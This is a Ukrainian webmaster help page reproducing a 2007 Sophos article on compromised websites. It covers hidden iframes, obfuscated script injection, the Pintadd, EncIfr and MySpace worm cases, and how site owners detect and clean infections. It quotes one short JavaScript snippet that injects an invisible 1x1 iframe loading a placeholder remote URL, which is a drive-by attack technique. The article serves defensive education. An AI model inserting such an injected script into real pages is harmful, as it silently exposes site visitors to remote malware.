Вебмайстер
Яндекс для вебмайстрів
Як Яндекс індексує сайти
Сайт на сторінці результатів пошуку
Сервіс «Яндекс.Вебмайстер»
Налаштування індексування
Вміст сайту
Сайт у результатах пошуку
Безпека сайтів
Сервіси Яндекса на вашому сайті

Скомпрометовані сайти

Cтаття "Сучасні інтернет-атаки" надана Sophos Plc і SophosLabs.

Серпень 2007 р.

Між користувачами та веб-службами, що ними використовуються, зазвичай встановлюються довірчі стосунки. Користувачі підключаються до сайтів для отримання послуг, що надаються ними (від інтернет-карт і новин до прогнозів погоди), дозволяючи своїм браузерам відповідним чином відображати сторінки. Користувачів зазвичай закликають вести списки надійних сайтів, щоб браузер можна було налаштувати відповідно до рівня надійності сайту, що переглядається. Таким чином користувачі можуть вмикати у браузерах додаткові можливості, як от скрипти, ActiveX і Java, якщо вони потрібні для перегляду конкретного сайту. Сама собою ідея застосування суворіших правил до дозволеного контенту, що надходить з ненадійної області, базується на розумних принципах.

Проте останнім часом кількість скомпрометованих сайтів істотно зросла [31]. У чому ж причина? Хакери займаються цим не лише через сумнівну честь дефейсу сайтів [32, 33]. Компрометація сайту, у результаті якої на сторінках завантажується шкідливий контент, слугує малопомітним засобом досягнення цілей, що розглядалися на початку цієї статті — поширення та реалізації загрози. Більше того, якщо скомпрометований сайт має велику кількістю регулярних користувачів, які вважають його надійним, то потенційна кількість жертв також буде дуже велика. Злом веб-сайту команди Miami Dolphins перед кубком Super Bowl 2007 року є підтвердженням того, що атака за допомогою компрометації веб-сайту може стати надзвичайно масштабною [34].

Мова HTML надає безліч зручних способів завантаження додаткового контенту. Найчастіше на скомпрометованих сайтах використовується метод із застосуванням тегу <IFRAME> [35], який дозволяє непомітно завантажити на сторінку додатковий контент. Цей тег широко використовується в цілком мирних цілях на багатьох веб-сайтах. Компрометація сайту, що вважався надійним, за допомогою цього методу дуже зручна для творців шкідливого ПЗ, оскільки для заманювання користувачів на сайт не потрібне застосування соціальної інженерії, а для завантаження шкідливого контенту не потрібні дії користувача. Статистика за перше півріччя 2007 року показала, що майже в 50% випадків шкідливе ПЗ, яке працює через інтернет, використовує теги iframe [36]. Цей тег підтримує декілька атрибутів. Найчастіше в атаках використовуються атрибути ширини та висоти, за допомогою яких можна задавати розмір фрейму на сторінці, куди завантажується контент. Щоб зробити компрометацію непомітною для користувача, у більшості шкідливих тегів iframe задаються дуже невеликі значення для довжини та ширини (0-10 пікселів). Подібні теги призводять до створення на сторінці безлічі дрібних полів, які можуть стати дуже помітні у разі її багаторазового зараження.

Попри те, що шкідливі теги iframe містять ці атрибути, випереджувальне виявлення скомпрометованих сторінок є дуже нетривіальним завданням, оскільки ці ж атрибути використовуються на багатьох звичайних сторінках. Атрибути, що задають розмір, самі собою можуть слугувати лише непрямою ознакою — для гарантованого виявлення також повинен перевірятися атрибут src тегу iframe. Цікаво, що в кількох недавніх атаках замість надзвичайно маленького використовується дуже великий розмір (наприклад, 1500 на 1500 пікселів); очевидно, це спроба обходу виявлення скомпрометованих сторінок за підозріло малими значеннями атрибутів розміру.

Мал. 8. Знімок багаторазово зараженого сайту. Можна бачити декілька дрібних полів (по одному на кожний із 23 вставлених шкідливих тегів)

Аналогічний результат зазвичай досягається шляхом компрометації веб-сторінки за допомогою шкідливого скрипту, який просто вписує тег iframe в сторінку під час її перегляду. Хоча кінцевий результат по суті той самий (непомітне завантаження шкідливого контенту з віддаленого сервера під час перегляду сторінки), з точки зору методів запобігання такі атаки стоять окремо. Для виявлення заражених таким чином сторінок необхідно виявити доданий скрипт, а не перевіряти сторінку на наявність шкідливих тегів iframe (якщо тільки технологія перевірки не дозволяє інтерпретувати або емулювати JavaScript). З урахуванням того, що шкідливу операцію document.write ('<iframe... >') в JavaScript можна замаскувати багатьма способами (див. мал. 9), завчасне виявлення стає ще складнішим завданням.

Мал. 9. Веб-сторінка, заражена шкідливим скриптом, що вписує в код сторінки, яка переглядається, тег iframe (зверху: тег iframe, що записується на сторінку; знизу: шкідливий скрипт, доданий на сторінку під час зараження).

У ході атаки, що отримала назву Pintadd [37], багато сайтів було заражено скриптом, у якому використовувалася трохи змінена методика завантаження віддаленого шкідливого контенту за допомогою тегу iframe. Замість простого виклику document.write() у скрипті використовується функція createElement() [38], що дозволяє створити елемент iframe. Після цього для тегу задаються необхідні атрибути, а сам тег додається на поточну сторінку за допомогою методу appendChild() [39]:

Примітка. 

var url='http://domain/path/index.php' ;

var ifr=document.createElement('iframe');

ifr.setAttribute('src' , url) ;

ifr.frameBorder=0;

ifr.width=1;

ifr.height=1;

document.body.appendChild(ifr)

З точки зору жертви результат буде тим же, що й у разі прямого впровадження тегу iframe. Проте, для захисного ПЗ це нова проблема.

Практично всі заражені сайти, що виявляються компанією SophosLabs, піддаються завантаженню додаткового шкідливого контенту з віддалених серверів. По суті скомпрометовані сайти використовуються для непомітного завантаження шкідливих скриптів і запуску механізму зараження (див. розділ Виділені атакувальні сайти). У деяких атаках (наприклад, у випадку Dorf) використовуються спам-повідомлення, що заманюють користувача на шкідливий сайт. В інших атаках для досягнення того ж кінцевого результату використовуються скомпрометовані сайти, користувач яких навіть не дізнається про те, що підключається до віддаленого атакувального сайту.

Теоретично після обходу системи безпеки сайту та одержання віддаленого доступу на скомпрометованому сервері можуть розміщуватися всі компоненти, необхідні для атаки. Змінені сторінки можуть запускати шкідливі скрипти та встановлювати шкідливе ПЗ, яке розміщується на тому ж сервері. Проте, зазвичай все відбувається інакше. Основних причин для цього дві. По-перше, перенаправлення скомпрометованих сайтів на єдиний атакувальний сайт надає хакеру єдиний пункт керування атакою. По-друге, додавання невеликих скриптів або тегів на сторінки скомпрометованого сайту менш помітно, ніж завантаження великих скриптів і двійкових файлів. Крім видимих ознак багаторазового зараження сайту (мал. 8), початковий код сайту також часто міститиме відповідні ознаки. Часто в ньому можна побачити декілька тегів iframe або шкідливих скриптів, часто обрамлених специфічними маркерами (HTML-коментарями).

Мал. 10. Початок зараженої веб-сторінки, у якому показані додані скрипти та теги iframe розділені маркерами зараження ()

Новини про компрометацію великих сайтів можуть розповсюджуватися дуже широко. Проте, більшість компрометованих сайтів має невеликий обсяг і пропускає порівняно невеликий трафік. Окремо вони не становлять особливої загрози, але сукупний ефект призводить до дуже значних ризиків. Крім цього, невеликі слабокеровані сайти зазвичай залишаються зараженими довше; причиною може бути неможливість їх очищення, ігнорування серйозності проблеми або просто недосвідченість адміністраторів. Очевидною проблемою тут є аутсорсинг веб-розробки. Після створення сайту його підтримці часто приділяється недостатньо уваги і для боротьби із зараженням сайтів бракує кваліфікованих кадрів. Просте видалення доданих скриптів і тегів зі сторінок не є достатньою мірою. Для запобігання повторному зараженню необхідно зв'язатися з постачальником послуг хостингу та вивчити лог-файли сервера, щоб зрозуміти, як був заражений сайт. Листування з адміністраторами заражених сайтів залишається малоефективним; навіть великі компанії часто обмежуються мінімальною реакцією.

Якщо хакери заражають сервер, на якому розміщується декілька сайтів (наприклад, серверну ферму постачальника послуг хостингу), то одна атака може призвести до зараження всіх розміщених на комп'ютері сайтів [40]. У 2007 році компанія SophosLabs виявила атаку на польського провайдера, у рамках якої кілька серверів було заражено EncIfr. Було помічено зараження понад 13 000 URL-адрес, які обслуговувалися невеликою кількістю серверів. Усі сторінки були заражені шкідливим скриптом JS/EncIfr-A. Це хороший приклад, який говорить про те, що під час визначення масштабу та серйозності атаки слід враховувати не лише кількість заражених сторінок, але й кількість заражених веб-серверів.

У деяких атаках, що використовують скомпрометовані сайти, використовується цілеспрямованіший підхід, у рамках якого заражається не серія сайтів, а конкретний популярний сайт. Гарним прикладом у цьому випадку можуть стати дві атаки на соціальну мережу MySpace. У Ofigel для створення хробака, що працює на MySpace, використовувалися ролики QuickTime (з підтримкою вбудовуваного JavaScript) [41]. Коли користувачі відкривали заражений профіль, завантажувався ролик, який у свою чергу завантажував з віддаленого сайту шкідливий скрипт. Цей скрипт використав міжсайтовий скриптинг, до якого був уразливий сайт MySpace, для зараження профілю жертви (при якому в її профіль додавався аналогічний ролик QuickTime). Подальша атака SpaceStalk [42] використала ту ж функцію роликів QuickTime для завантаження шкідливого скрипту, який збирав облікові дані користувачів і передавав їх на віддалений сервер [43]. Подібні цілеспрямовані атаки використовують уразливості в популярних веб-сайтах для зараження їх користувачів. Захист від методик, які вживаються для використання вразливостей у сайтах (наприклад, міжсайтовий скриптинг), може бути дуже проблематичним. Одна з найкращих форм захисту — це класифікація URL-адрес, що дозволяє посилити політику безпеки в разі перегляду менш надійних сайтів (див. розділ Захист від інтернет-атак).

До наступного розділу

Оцініть статтю
Дякуємо за ваш відгук!